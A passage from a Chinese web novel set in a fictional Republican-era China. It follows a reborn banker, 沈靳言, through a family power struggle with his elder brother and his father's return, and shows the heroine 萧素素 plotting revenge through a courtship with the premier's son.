萧薇手里拿着一个蔷薇花样子的糕点,嘴里也鼓鼓囊囊的,道:“沈叔叔给大爸打了电话,说你受伤了,让我给你送衣服过来。”
她居然给沈靳言喊叔叔?萧素素一直都是叫沈靳言“行长”,叔叔这个称呼她可叫不出来。
她过去桌边坐着,看着萧薇又把蔷薇花样式的糕点送到嘴里,问道:“你不上学吗?”
萧薇眼珠子转了一圈,手指虚指了指,摇了摇头:“沈叔叔给大爸推荐了个教会学校,说让我先去教会学校学习英文,今天就去那个学校看看......他还说,以后送我到美国去读书。”
“为什么要去美国读书?”萧素素从来没有想过这个问题,主要是她手里没钱,萧薇的学费应该她来交。
“......”萧薇懵懂的摇摇头,又塞进嘴里一个蓝玫瑰花样式的糕点。时人叫这种花蓝色妖姬。
“他......去哪里了?”问的是沈靳言,她叫不出“沈叔叔”几个字,在薇薇面前叫他行长也不合适。
“沈叔叔说有重要的会议去黄河丝绸了。”
萧素素点点头,呆呆的坐在桌前。
“你怎么来的?”大爸可没有时间送她过来,更不可能让她一个人过来。
“沈叔叔派车去接我的......他的车好宽敞哦。”她打了一个饱嗝,又把桌上的牛奶喝了。
萧素素凑过去看,剩下的糕点上都有“知味斋”三个字。
从小家里并不富裕,从来没有见过这些,在燕京大学读书的时候听严鹤提起过这里,应该很贵吧?她问:“好吃吗?”
萧薇很猛烈的点着头,道:“特别好吃!也特别好看!”
“好吃就行!二少爷特地让井秘书一早就开车去买的。”吴妈端着盆热水走进来,她穿着洁白细洋布斜襟短褂,边走边说。
放下盆后,边点头边向萧素素致意:“萧小姐早,快来洗漱。”
见萧素素打量着她,也不动作,那双美丽的大眼睛里满是疑惑,便道:“萧小姐叫我吴妈就行了,我是二少爷的奶妈。”
萧素素慢吞吞的挪到洗脸架旁,红着脸道:“谢谢吴妈。昨天是你给我换的衣服吗?”别人换的衣服总觉得不舒服,但人家总是好意的,肯定是怕她昨天那个旗袍穿着睡觉不舒服。
吴妈很和蔼,笑着道:“是我,二少爷说你旗袍穿着睡觉肯定不舒服,让我给你找件我的睡衣换上。”
沈靳言心思还蛮细的。
吴妈笑着拂了一下萧素素肩头的头发,接着说:“我这件衣服还是新的,二少爷去年给我买的,我没有舍得穿......你不要嫌弃。别院里也只有我一个女佣,还有就是几个年轻兵娃子,只能由我给你换了。”
她投了一把毛巾,递给萧素素,道:“二少爷让你和萧二小姐在家里等他,不用去上班了,他跟井秘书也打了招呼的。他下午带你们去教会学校。”
萧素素轻轻的把脸洗了,又听吴妈道:“你先过去糕点,新鲜着呢。昨天二少爷吩咐人给你买了跌打损伤的西药,等会儿我去拿给你涂上。”
萧素素道:“吴妈也来吃点。”
吴妈道:“我已经吃过了。二少爷对我们这些下人很好,每次去知味斋买糕点都会给我们带点。哎哟,萧小姐你可不知道哦,这个贵着呢!萧小姐块尝尝,也不知道萧小姐喜欢不喜欢,反正我蛮喜欢的。”
萧素素拿起一块蓝色妖姬,轻轻的咬了一口,口感细腻香甜,是她喜欢的味道。
......
井弘深捧着一大盒知味斋的糕点给黄河丝绸秘书室的人分发,道:“这是二少爷买给大少爷的早点,想到秘书室的人去知味斋也不顺路,就给大家也带了一份。”
城东的知味斋是个英国老板开的,为了迎合花国人的口味,特意做了改良,但也没有多少人去光临,太贵了,只有大户人家才吃得起。
沈靳言则拿着一小盒进了沈靳亭的办公室。
沈靳亭长袍马褂,正襟危坐,看到他来,眼珠子都没有转一下。
沈靳言自顾自的将糕点放在楠木嵌螺钿云腿的小茶几上,自己则坐在门口的椅子上,道:“知味斋的糕点,今天早上新做的,新鲜着呢。”
“......”沈靳亭不知道他葫芦里卖了什么药,依旧不说话不动作,沈靳言昨天才将自己视若仇雠,今天就是一副兄友弟恭的样子了,恐怕最有名的京剧大师也没他会演!
沈靳言自顾自的打开盒子,拿出一个狐狸头样式的糕点自顾自的吃起来,吃得很斯文,嚼了一会儿才说:“我吃的这个是豆沙馅的,它里面奶油的口感也很好......快来啊,我给你买了几个蓝色妖姬样式的,你会喜欢的。”
沈靳亭偷瞄过去,黑色的纸盒子里面摆着六朵蓝色的玫瑰花,三朵粉色的猪脸,还剩下两个红色的狐狸头。那蓝色的玫瑰花就是蓝色妖姬了,他前几日才给赵清欢送了一束蓝色妖姬,赵清欢说:“蓝色妖姬的花语,是深藏心底的挚爱,珍贵而独一
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无二。”高兴了一晚上,晚上在床上浪得很。
他不知道蓝色妖姬的花语,都是让文秘书去花店买的。
看到沈靳言自顾自的又拿起一块蓝色妖姬样式的糕点,道:“你这是做什么?”
沈靳言眨了一下眼睛:“来和大哥一起吃早餐啊。”
“我们两个是一起吃早餐的关系吗?”
“怎么不是?你是我大哥,我是你二弟。寻常百姓家天天都一起吃早餐的。只不过我们家稍稍富裕一点,兄弟几个各有各的房子,才没有在一起吃早餐。”他知道沈靳亭的意思,但沈靳言故意曲解,还一副理所当然的语气。
“我是问你你来这里做什么?”沈靳亭不耐烦的说道。
“等等。”
“什么?”沈靳亭想到昨晚上沈靳言对自己的所作所为,心情怎么也平静不下来。
他指指盒子里的蓝色妖姬示意他吃,道:“等一等你听不懂吗?”
沈靳亭看着他就暴躁,吃什么吃,吃个屁,他抓起桌上的紫砂壶就往沈靳言砸去。
正在此时,门开了,沈靳亭看到门口的人脸色大变。
“逆子,你在干什么!”
来人正是沈靳亭对外宣布已得老年痴呆症的沈松龄。
他头发是梳得干干净净的大背头,身上穿的衣服亦是沈靳亭身上那套同色系的长袍马褂,杵着一根银质诗文木质杆体拐杖,那拐杖顶有蝴蝶花卉纹及“福”字,下部饰蝴蝶花卉纹及“菊秋香淡雪”字样。
他的眼睛深邃如夜空,黑色的瞳孔中闪烁着沉着和智慧的光芒,仿佛能看透一切阴谋诡计,深不可测,哪里像得了老年痴呆症!
“父......父亲。”沈靳亭不敢置信,医生不是说他得了老年痴呆症吗?沈靳言也没有反驳?
他惊愕的看向沈靳言,知道自己上当了!
沈靳言这时早已站起来,走到沈松龄身边,站在他面前。
沈靳亭则一下窜上去挤开沈靳言要去扶沈松龄。
沈松龄荡开沈靳亭来扶自己的手,也不看他,径直走到沈靳亭刚刚坐的那个办公桌后面的椅子上坐下。
办公室外一队穿着中山装的护卫守着。
沈靳亭不得不走过来站在办公桌对面,他道:“父亲......沈靳言他......”
“住口!”沈松龄这才看向他,“你是不是以为我死了?沈家你说了算了?山中无老虎猴子称大王了?”
“父亲......”
“住口!”沈松龄再次阻止他,声音没有很凶,但威严无比巨大,沈靳亭不敢再说话。
沈靳言回到原来的位置坐下,还翘起个二郎腿。
沈靳亭看到,更是愤恨不已。
却听沈松龄道:“听说你向花国银行提了20个亿的贷款申请?”
沈靳亭不敢说“是”,父亲想来又会说他激进。
“花国银行不会批下来的。你那个胡同再改造计划也该停了。”
10. 旧时(九)
沈靳亭道:“父亲,胡同改造计划前期已经投入太多了,现在停掉不合适。”
沈松龄用拐杖敲了三下面前的办公桌,厉声道:“必须给我停!”
沈靳亭只得低头表示服从。
沈松龄看着长子的样子,继续以命令的语气说道:“另外把大欧通、大欧恒的资本抽出来投资花国通商银行。”
沈靳亭震惊道:“父亲,你怎么能这么偏心沈靳言!大欧通、大欧恒可是我用两家商行的股换的啊!”
他还好意思说!连欧繁汐一个后宅夫人都知道票号即将灭亡,知道赶快抽逃资金,他还一头往里面钻,做生意的嗅觉怎会如此迟钝。
没想到次子却道:“父亲,这样不好吧,你怎么能让大哥抽掉两家票号的资金呢,这岂不是坏了大哥的韬略?”
沈松龄指着沈靳言,话却是对着沈靳亭说的:“你听听,你听听!你二弟无时不刻不把你当大哥,而你呢?你叫他沈靳言?岂有此理,寻常人家兄弟之间也不会直呼其名,沈靳言!沈靳言!你叫得倒是顺口,你有把他当弟弟吗?”
父亲从来没有这么严厉的语气训斥过他,还是当着沈靳言的面,这让沈靳亭越加羞愤!
沈靳言还在一旁劝诫沈松龄:“父亲,你误会大哥了。他绝对是为了咱们沈家着想.........花国通商银行要慢慢良性发展,以防树大招风,被花国银行和中央银行惦记。”
沈松龄用鼻子“哼”了一声,道:“你倒是肯替他说话,他呢,尽搞些兄弟阋墙的事情来!”
沈靳亭气愤至极:“父亲,您就是偏心,生病了不告诉我,只告诉二弟,现在居然让我把大欧通、大欧恒的资金抽出来注入花国通商银行。”
沈松龄对这个长子很失望,杵着拐杖的手止不住的颤抖,声音也充满了无奈,道:“我被日本人刺杀以后,为了防止他们再次派出人来搞暗杀,索性闭关治疗了。当时,即没有告诉你我的身体状况也没有告诉你二弟我的身体状况,即没有告诉你我在哪里,也没有告诉你二弟我在哪里。”
“但是你们俩的表现真的大相径庭,你整天想着如何继承更多我的家产,而你二弟却整天想着如何找到我。更令我失望的是,你居然传假消息,说我得了老年痴呆症,把你二弟赶出了黄河建设。”
“父亲,我绝对没有诅咒你的意思......”沈靳亭急着解释,却被沈松龄抬手阻止!
他道:“从今日起,你就不要管黄河建设的事情了!我还没死呢!我自己亲自管!”
“父亲!”沈靳亭绝不甘心,但既然是父亲亲自主持黄河建设的事情他也不便说什么了。
只得说大欧恒、大欧通的事:“......索性我现在也无事,请父亲好好让我经营两家票号吧。”
沈松龄看向长子的眼里满是失望,经商这件事情他怎么就这么不像自己呢?算了,还是给他把道理讲清楚,不然他老是看不清形势。
他问道:“前朝花国的票号有多少家?”
沈靳亭道:“最多的时候五百多家。”
“现在多少家?”
“只有大欧通、大欧恒和严家的三晋源、陈家的大盛川四家票号了。”
“那四百家票号关门是他们不想开票号了吗?”
“不是,是因为这些年打仗,放款收不回来而倒闭。”
沈松龄慈爱的望向沈靳言,道:“靳言,你怎么看?”
沈靳言道:“票号有个致命的弱点,是它只做信用放款,而不做抵押放款。战乱、经济危机,任何时局的动荡都会导致票号出现倒帐、挤兑、贷款收不回来......”
沈靳亭作最后挣扎:“那我就修改章程,以后票号改作抵押放款就是!”
沈松龄觉得他无药可救:“人家作抵押贷款为何要选你大欧通、大欧恒?人家有数十家外商银行可以选择,亦有花国银行、花国交通银行、花国通商银行可以选择!”
他去牛津大学读书读到狗肚子里去了吗?
沈靳言其实也不希望沈靳亭投资花国通商银行,他道:“我听说总理家的公子严鹤在组建定国银行,要不大哥去投资他的银行?”
沈松龄不置可否。
反正他迟早也要并购定国银行。
他起身走到楠木嵌螺钿云腿的小茶几旁,拿起粉色猪头的糕点道:“来把早点吃了,我叫了黄河丝绸的股东十点钟开会,一会儿人家该到了。”
沈靳亭这一大早被夺了太多权利了,一听还有黄河丝绸的事情,心就提到嗓子眼儿了:“他们......来做什么?”
“我让你二弟修改了公司章程,他和我的股权以后都交给你了,以后你就是黄河丝绸的大股东了......”
这就叫打一巴掌再给一颗甜枣!
......
萧素素用过早饭以后,还是觉得头痛,她让萧薇和自己一起回三楼那个房间睡觉,萧薇不愿意,说想去恭王府逛一逛,萧素素只得拜托吴妈带着她一起去,萧薇一个人去她有点不放心。
萧素素躺在床上发呆,也不知道沈静雅给她吃了什么药?就稀里糊涂又睡着了。
梦里她梦到父亲被火烧伤后那些黑黄交杂的可怖的伤口,那些焦黑的皮肤碎片残留在伤口表面的狰狞,以及遍布全身的水泡、流脓......
沈靳言皱着眉看着床上的人在睡梦中落泪,把枕头都打湿了,便要将萧素素摇醒:“起来吃药了。”
萧素素醒来见沈靳言就坐在床边,想了想为自己的失态找借口:“做了个恶梦......”
沈靳言没有给予评论,而是将一包白纸裹着的药粉递给她:“我去老宅给你寻了解毒的药粉。”
萧素素望着那包药粉发呆,不接。
沈靳言道:“我父亲责罚了八妹,她不敢再害你了,你放心吃吧,不然整天都这么昏昏沉沉的睡,对身体也不好!”
又从床头柜端了热水递给萧素素:“趁热喝了吧。”
萧素素这才接过喝了。
沈靳
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言指着床边放着的一套衣服:“特地去给你找了一件修女服,可以用兜帽遮住你的脸......下午还要去看看薇薇的教会学校,你是长姐,怎么也要亲自去看看。”
他如此温柔周到,谁又能想到他昨天才用枪打死了两个人呢。
萧素素知道他是他,沈靳亭是沈靳亭,不免有些感动,道了声“谢谢”。
“谢什么?你父亲是我朋友,你又是因我大哥受伤的,何谈谢字。”他反而有点不好意思。
萧素素好奇萧岐山和沈靳言相差几十岁,却成了朋友:“你和我大爸怎么成为朋友的?你这么年轻,我大爸都快六十了。”
沈靳言笑笑:“有一个词叫做忘年交。我和你父亲当年只是为了组建真正意义上的花资银行才打交道的,后来在组建过程中遇到了重重困难,有列强的打压和阴谋,有资金的困难,处着处着就成了生死之交,怎么也算同袍之情了吧?而且我们也在陆军中担任了职务,本来就是同袍。”
见萧素素懒洋洋的不想动,沈靳言站起来说:“赶快换了衣服下来吃饭,现在都下午三点了,还要去union学校,和洛克菲勒先生约好了时间的。”
说完他就走出了房间,萧素素听到洛克菲勒先生的名字以后就非常兴奋,作为学经济学的,怎么不知道洛克菲勒先生呢!
但是,下午萧素素姐妹见到的洛克菲勒先生并不是萧素素读经济学学到的那个世界首富和美国慈善家,而是他的儿子小约翰.戴维森.洛克菲勒。
当然这同样令人兴奋!
小约翰.戴维森.洛克菲勒受他父亲的指派来花国建立union医学校,为花国提供医疗训练费用。
显然,这位小约翰.戴维森.洛克菲勒先生已经年老,但他说起英文来口齿清晰、逻辑严谨。
他对沈靳言说萧薇太小了,不符合union医学校的招生条件,但会看在沈靳言的面子上给她安排一个老师让她读预科,顺便学习英文,等符合条件了以后可以进入union医学校学习。
他说:“不要以为被union医学校录取以后就完事大吉了,我们到时候依然要采用逐年淘汰制,培养出真正优秀的医学人才,到时候送他们去美国攻读医学博士学位。”
沈靳言把洛克菲勒先生的意思表诉给萧薇听了之后,萧薇马上挽住他的胳膊表决心:“沈叔叔,不管是不是学校的正式学生,您帮我给洛克菲勒先生说说,我非常想来这里学习,而且我一定会好好学习,将来去美国读医学博士,回来报效祖国。”
沈靳言感谢了洛克菲勒先生,并提出晚上请他吃饭,洛克菲勒先生也欣然答应了。
他说:“我非常喜欢花国,并出资在美国成立了研究花国的汉学会,还请了法国著名汉学家伯希和来指导汉学会的研究工作。”
沈靳言笑而不语,心想伯希和那贼居然被西方人推崇为汉学家?!他来敦煌石窟以探险的名义偷走了不少文物,怎么有脸以汉学家自居的?
果然人无脸就无敌。
11. 旧时(十)
国务总理严学熙指派其子严鹤筹办定国银行。严学熙筹办定国银行的初衷是专门提供工矿企业等实体行业创办和扩充时所需固定资本贷款。当然严学熙的蓝图中,定国银行也兼营存款、信托业务和买卖实业界的股票债券。
严鹤筹办定国银行过程中亦困难重重,外商银行打压是早就料到的事情,可资本实难筹措。因此,严鹤想找沈靳言投资,三顾茅庐都吃了闭门羹。
这日,严鹤正准备离开花国通商银行去找洛克菲勒财团驻花国办事处的秘书长,碰到了萧素素从外面办事回来。
二人是大学同学,严鹤看到心仪已久的老同学,早激动的忘了正事。
“萧同学,我找了你很久!你居然在这里上班!”他看着萧素素的脸如此道。
萧素素看到大学里唯一一个不因她家贫而愿意接触她的同学,自然也很高兴,难免语气激动。
施卓然坐在工位上,翻翻白眼:“狐狸精,专门傍大款!”
萧素素不理施卓然,拉着严鹤边走边道:“街对面有个咖啡厅,我请你喝咖啡。”
两人在咖啡厅点了意式咖啡,畅谈毕业后的经历。
严鹤看她一身中山装,长发编了两个辫子放在两侧,俨然干练有余的职场丽人,只是脸瘦得能搓破纸一般,但更显精致优雅,开玩笑道:“萧同学失踪了一年多,如今突然冒出来,我吓了一跳!真正士别三日刮目相待!你看看,妥妥的职场丽人!”
萧素素毕业后因家破人亡,从来没有与同学来往过,如今看到老同学也很感慨,她道:“我就是一个普通的银行职员,哪能跟其他同学比。”
严鹤道:“虽说现在倡导新思想,但女子还是无法和男子相比,读大学时,我们班就五个女同学,其他四个人现在都没有上班,就你上班了,所以你已经很厉害了!”
萧素素看他衣衫光鲜,手腕上是花国很少能有人戴得起的名表,便道:“我看你才是最厉害的吧,才毕业一年,这身上穿的,腕上戴的,俨然一个大老板了!”
萧素素记得他大学的时候和其他男同学一样穿的是长袍,除了样子格外好看以外,其他的没有什么不同。
严鹤故作谦虚道:“不敢当,我不是什么大老板,相反到处找大老板要钱......”
他解释说:“家父想利用自己的影响力组建定国银行。”
萧素素从小家贫自卑,读书的时候很少与同学有来往,不知道严鹤的家庭条件,听言便打听:“定国银行?我听说国务总理通过花国经济委员会号召花国能人志士投资定国银行,国务总理也正好姓严,嗯,严学熙,是令尊吗?”
严鹤本就心悦萧素素美貌,如今重逢,想以家世利诱萧素素,便道:“他正是家父,家父说,等我筹建成功,一定举荐我为经理或者副经理。”
萧素素举起咖啡杯,道:“那我提前祝贺严经理了!”
两人高兴的碰了杯,把咖啡当作就来庆贺。
喝了一大口后,萧素素又问:“现在实收资本有多少了?”
严鹤沮丧,道:“才银元两百多万两。”
“莫非你来找我们行长是想让他也投资。”
严鹤点点头,道:“我来了几次了,他拒绝见我......看来传言是真的!”
萧素素不解:“什么传言?”
“沈家兄弟不合的传言。”
萧素素掐着自己的下巴做思索状:“这找我们行长融资与沈家兄弟不合有什么关系?”
严鹤据实以告:“因为我现在收到的资本都是沈家大公子沈靳亭投资的。”
听到那三个字名字,萧素素眸光流转,迅速下定了决心,严家家大势大,严学熙又是国务总理,只要她能嫁给严鹤,必能谋取机会让沈靳亭堕入万丈深渊!
她抛弃端庄矜持,握起严鹤的左手,道:“你不要灰心,即使行长不愿意投资定国银行,你也定能找到其他人投资成功组建定国银行的。”
严鹤看着萧素素握着自己左手的手,只觉得温暖干燥,心里得到莫大的鼓励,心想女神终于下凡了。
萧素素为了防止严鹤有身份上的顾及,道:“我也回去一定跟我父亲好好说说,让他劝劝行长。”抛出去个钩子,他自然要问的。
果然,严鹤听她说她父亲能劝沈靳言,更高兴了,便问她:“从来都没有听你说过你的家里人,不知令尊是何人?”
萧素素笑的很温婉,谦虚道:“不算什么大人物,只是与沈靳言颇有些交情......投资了花国通商银行的原始股……是陆军少将萧岐山。”
严鹤喜出望外,有了这个身份,家里人应该不会过分反对他们谈恋爱。
他不知萧素素与沈靳亭的血海深仇,只以为对方和自己一样,早在学生时期就情根深种!心想,等定国银行组建成功了一定要把萧素素追到手!
井弘深进了行长办公室,看见沈靳言正在审阅文件,咳嗽了一声,道:“萧小姐和严公子出去喝咖啡了。”
他觉得此事是非常之重要的事!一定要与行长汇报,虽说行长以萧小姐叔叔辈自居,但再怎么是朋友之女,也不能对她这么好吧?除非有特别的感情!何况行长身边一直没有旁的女人。
沈靳言不置一词。
但是一股寒意从脚底浮起,痛苦的回忆涌上心头,上一世他和大哥沈靳亭都投资了定国银行,可是后来严鹤做了汉奸,泄漏了大哥的行踪,大哥被带走后生死不明,家里人不愿真金白银白白落入日本人手中助纣为虐,隐忍不发,只得偷偷使钱搭救,以免受日本人要挟,让花国金融业的主权落入日本人手中。
不幸的是,严鹤还是通过平时对沈靳言习惯的了解推测到了他的行踪,为了不泄漏花国通商银行的钱在哪里,他被日本人活活折磨致死。
萧素素若是和严鹤这样的汉奸有所牵扯,不成汉奸也会被害死。
晚上,沈靳言进了萧岐山陆军
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本部办公室,深刻探讨了近期银行的经营状况,完了过后状似聊家常道:“薇薇已经正式成为union学校的正式医学生了,你也可以稍稍安些心了。”
萧岐山道:“这才哪里到哪里哦,等她毕业了若是不想继续出国深造,我和夫人还要给她说个好人家,让她相夫教子......父母总是有父母的责任。”
沈靳言道:“她着什么急?她姐姐都还没有嫁人呢!”
萧岐山便问他:“素素在你那里工作,有她看上的同僚吗?结婚找对象总是知根知底比较好。”
沈靳言状似认真思考了一下,道:“我没有听说过,我看她一天像个男孩子,没有要谈恋爱的样子,你还是给她安排些男孩子相亲吧。”
萧岐山晚上回家就让夫人陈瑶给萧素素安排相亲。
陈瑶道:“我们没有养过她,就安排这些,不好吧?”
萧岐山道:“都是为了她好,以前她家贫,没见过世面,不知道男人好赖,被骗了我们找谁说理去!”
陈瑶觉得丈夫言之有礼,只得从命!
她没有给萧岐山生儿育女,如今人到中年,早已不能生育,好不容易认了两个女儿,在女儿之事上无不尽心竭力。
给萧素素物色对象时也是如此,都是陆军高级将领中的子侄辈,陈瑶资源有限,这已经是她能够得上的极限了。
萧素素每次都说:“妈,我不在乎家世,关键是要有共同语言,你看我从小穷苦,很难与他们能谈得来,我怕到时候他们以没有共同语言为借口纳姨太太。”
毕竟不是亲生的,萧素素又怕拒绝次数多了,陈瑶难免寒心,就挑了一个同是学经济学的,一个学医的,与他们相亲。
运气不差,那个学经济学的是陆军少将沈谦的侄子,看不上萧素素,那男的就委婉的表达了自己心有所属的意思。
另一个要想不成功则比较困难一些,他是陈瑶的亲戚,名叫沈嘉兴,毕业于德国法莱堡大学医学院,获博士学位,现任外交部医官,是医务所副主任,最主要是第一次见面就被萧素素的美貌所吸引。
一见面就直夸萧素素漂亮,言谈举止也格外得体,如果不是身负血海深仇,当真是几世修来的良配。
萧素素端起面前的咖啡抿了一口,心里叹息这么好的人终究要被自己辜负,咬咬牙,不得不道:“我妈有没有跟你说过我的身世?”
试图用自己不堪的家世劝退对方。
沈嘉兴道:“亲戚间一直都有走动……你的身世表姑已经跟我母亲说过了。”
萧素素暗喜,继续道:“我自幼家贫……”
沈嘉兴一听,话峰不对,生怕她说出什么拒绝的话来,马上打断她:“从来英雄不问出处!”
萧素素也不敢直接说出拒绝他的话,毕竟萧岐山夫妇对她恩重如山,她不能寒了陈婉的心。只得顺其自然的和他约会,伺机而动。
因此,沈嘉兴开始了对她的追求。
12. 旧时(十一)
严鹤忙于筹备定国银行的事,没空分身,一直和萧素素只能书信往来。
萧素素正好通过书信隐晦的表达相思之苦。偶尔回信极快,偶尔故意吊几天胃口。也绝不耽误她拿相亲的事刺激严鹤。
感情迅速升温。
严鹤与她也就只差捅破那层窗户纸了。
沈嘉兴约萧素素出去见面,萧素素各种理由拒绝,沈嘉兴无法,只得厚着脸皮去花国通商银行堵她。
沈靳言在行长室盯着街上,看见一男子穿着白色西装进了银行大楼,那男子很显眼,他无意间望向窗外,在熙熙攘攘的人群中一下就看见他了。
街上阳光正好,灿烂的阳光从庑廊檐下的玻璃窗下大片大片洒进来,窗台上的瓦盆里种了几株月季花。芬芳氤氲。
施卓然端着咖啡晃悠悠地出了沈靳言办公室,沈靳言今天不喝咖啡,她只得撤出来。
一进秘书室,就看到沙发上坐着一名男人。
她顿了顿,那男人抬起头,脸露了出来,帅气俊朗又高贵儒雅,金边眼镜后面一双漂亮的眼睛,正看着她,笑着打招呼道:“早上好。”
真是人间仙品!施卓然愣愣地看着这男人,半天没有回神。
这男人实在太帅了。grace!elegance!handsome!她想不出来什么形容词形容他才够!
过了一会,她才完成反弧射的完整反应,应道,“早上好。”
说完脸就红了。
萧素素本来不知道如何拒绝沈嘉兴,如今都追到工作的地方了,不拒绝怕是不行了,看到这一幕,突然有了灵感,笑着介绍道,“施秘书,这位是沈嘉兴沈博士,毕业于德国法莱堡大学医学院,是外交部医官,任医务所副主任,和你一样是海归派高材生。”
花国被列强巧取豪夺已久,国势潦倒,在花国,这样的学历、这样的工作,绝非一般家世背景的人能够肖想。
施卓然用肩膀顶了一下萧素素,悄声问:“他是你谁啊?为什么在这里?”
萧素素早就想好了,陈瑶的表侄论辈分是他表哥,所以就对施卓然道:“他是我表哥,今天休沐,正好来看看我的工作环境。”
沈嘉兴知道萧素素抗拒这门亲事,不好逼她太紧,就随他说,说他是表哥本来也没错。
萧素素笑嫣如花,又介绍施卓然道:“她是我的师父施卓然......是美国佐治亚州威斯里安女子学院毕业的……”
美国佐治亚州威斯里安女子学院?沈嘉兴这才仔细打量了一下施卓然,她比花国一般女子要高,鹅蛋脸,睫毛很长,明艳动人,如海棠春色,绝对算是很漂亮了,便笑道:“美国佐治亚州威斯里安女子学院盛产德才兼备的美女,我们花国第一夫人就是这个学校毕业的,施小姐,幸会幸会!”
被这样恭维,又被萧素素称为师父,施卓然只觉得辈儿有面子,又招呼沈嘉兴坐下,又给他泡咖啡。
萧素素偷偷告诉她:“我表哥可是单身哦,家世背景又好,他父亲是前朝探花,东阁大学士,后来参加救国会,任过会长,还当过检察总长、教育总长......我表哥现在虽只是外交部医官,但他才二十几岁,前途肯定很好......”
即使没有严鹤,萧素素也真心觉得她配不上沈嘉兴。
施卓然用手拐拐萧素素:“那你可要帮我......马上公休了,约上他一起出门游玩。”
萧素素道:“行!叫上井先生一起,让他出经费。”
施卓然给她竖起大拇指:“还是你脑瓜子灵光。”
井弘深进行长办公室的时候,发现沈靳言拿着他那支纯金外壳的钢笔并没有任何动作,面前也没有任何文件,不知道在想什么。
看到他进来,沈靳言道:“严鹤筹建的定国银行怎么样了?”
井弘深记得昨天才给他汇报过,怎么又问,就听到外面嘻嘻哈哈的声音,心里顿了顿,还是先回答他嘴上问的,再回答他心里问的:“……如今定国银行又获得招商局和电报局分别投资的40万银元和30万银元,财政总长任建华又游说全国经济委员会秘书长吴国升的家族企业投资了20万银元,内务总长投资了30万,虽然名为实业银行,其实为官商合办的商业银行。”
沈靳言记得昨天自己问过,有些尴尬,但不置一词。
井弘深又道:“外面有位先生叫沈嘉兴的,是萧将军家的亲戚......”
沈靳言记得上一世沈正元和沈嘉兴是出了名的爱国,沈正元发起过救国会不说,后来更是为了抗日豁出了身家性命,是花国知识分子的光辉榜样。
他打断井弘深:“把他请进来,就说我想结识他.........不,我出去亲自请他进来,你去泡杯好茶。”
井弘深猝不及防,他想说的话还没有说完呢,但看到行长的样子,他不得不慎重。
沈靳言出办公室前还整了一下他的衬衣西服,才慢慢的走出去,看到施秘书很殷勤的招呼沈嘉兴,沈嘉兴却时不时看看萧素素那张淬玉般莹白的脸,想起之前他让萧岐山给萧素素安排相亲,莫非沈嘉兴就是萧岐山给萧素素安排的相亲对象?
不知道几人说到什么了,个个都笑盈盈的,又听萧素素对施卓然道:“施秘书,你一定要照顾好沈先生......”
施卓然拍着胸脯道:“没问题,一定没问题......”
沈靳言嘴角抽了抽,这么好的男人萧素素却推给别人,这缺心眼的傻姑娘。
他走过去故作不知眼前人是谁,问道:“这位先生是谁?惹得施秘书这么高兴?”
施卓然很敬重这位老板,忙介绍:“外交部医官沈嘉兴沈先生。”
又介绍沈靳言,他的名号太多了,因此施卓然顿了顿,就听沈嘉兴抢答道:“我在《兵事杂志》上看到过沈行长的照片,有幸拜读《国防建设与物资储备》、《德意志青少年之军事预备教育》......”如此这般细数了一番沈靳言在军事方面的著作,又道:“
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说起来我和沈先生是家门,搞不好五百年前还是亲戚。”
沈靳言笑着问道:“沈医官可是沈正元先生的公子?”
“正是。”
沈靳言道:“五百年前已经出了五服了,但多追朔几百年肯定是亲戚没错了......我家是北宋沈括的后人,祖籍在临安……”
沈嘉兴也是沈括后人,祖籍临安。
沈嘉兴很高兴:“那真是太荣幸了!”说起来就要去握手。
沈靳言赶快接住,道:“你既是外交部的医官,那我这里有一事想咨询你,可否移驾到我办公室一叙。”
沈嘉兴道:“荣幸之至。”
萧素素和施卓然都目瞪口呆了,这事情的发展怎么这么莫名其妙!
井弘深亲自端了新的黄山雾茶,沈嘉兴喝了一口就夸道:“好茶!”
沈靳言问道:“沈医官读书的时候主攻方向是什么?”
“在德意志学的西医,主要是内科,回国后又学了一些中医,希望能中西医结合。”
沈靳言又问道:“可接触过x光诊断这些先进技术?”
沈嘉兴目光一暗,当时在德意志留学的时候,父亲参加的“二次革命”失败,父亲带着家人不得不四处逃亡,还是学生的他经济上一时闹了饥荒,x光诊断的学习又太贵了,不得不中途辍学。
沈靳言前世也是偶然听到有人说起过沈嘉兴四处奔走想给京师大学医院添置一台x射线诊断仪。
他不等沈嘉兴回答就道:“union医学校要从欧洲引进一台大型x射线诊断仪,这方面的技术人才却没有,如果外交部允许你从事社会活动的话,我想推荐你为union医学院的观察员......”
“允许,外交部允许这方面的兼职!”沈嘉兴激动不已,沈靳言话还没有说完,他就迫不及待想把这件事情确定下来。
“另外,我想给京师大学医院投资一台x射线诊断仪,不知你是否和京师大学医院的院领导相熟?”
沈嘉兴激动的从沙发上跳起来,握住沈靳言的手,道:“我是京师大学医院教学观察员,一定把你介绍给院长。院长肯定会特别高兴。我国的医学影像技术还处于萌芽阶段,太需要x射线诊断仪了。你如果捐献一台x射线诊断仪不仅是对京师大学医院意义非凡,对整个花国都意义非凡。”
他实在是太高兴了,激动道:“晚上我想在鸿宾楼请沈行长吃饭,不知道沈行长赏不赏这个脸。”
沈靳言却道:“你到我的银行来会客,我是东道主,理应我请客。叫上我秘书室的人一起去......我看你和他们很熟,以后大家都是朋友了......”
沈嘉兴连连道:“怎么敢当!怎么敢当!沈行长高风亮节,我还得替京师大学医院好好谢谢沈行长!”
沈靳言正好想看看萧素素那个傻子是不是真的不想跟沈嘉兴谈婚论嫁,若真不想,施秘书也好,他认识的其他世家小姐也好,多的是人可以介绍给沈嘉兴!
13. 旧时(十二)
井鸿深去沈靳言的别院取了法国波尔多地区的葡萄酒到鸿宾楼。
到了聚会现场,其他人已经到了。
沈靳言指着井弘深手里的酒道:“是法国波尔多地区的红酒,1900年产的,我父亲上次访问欧洲从ChateauMargaux带回来了两箱,现下只剩这几瓶了。”
波尔多?1900年产?ChateauMargaux?
这出手也太阔绰了吧?
沈嘉兴感受到了从未有过的尊重,而且还是来自高位之人的尊重。他在外交部经常遇到高位之人,他们多得是对人的尊重和礼貌,但和这不一样。
施卓然雀跃:“我读书的时候听说过1900年产的波尔多红酒,太有名了,我很难想像还有比它更好的红酒了。”
萧素素没有接触过这些高级的洋玩意,做不到不卑不亢,也不矫揉造作。
井弘深叫来侍者,鸿宾楼的侍者显然很少倒红酒,因花国一般大户人家都是用白酒招待客人,那心境和萧素素别无二致。
施卓然主动请缨:“那么就由我Miss施来为各位ladiesandgentlemen(女士们和先生们)服务吧。”
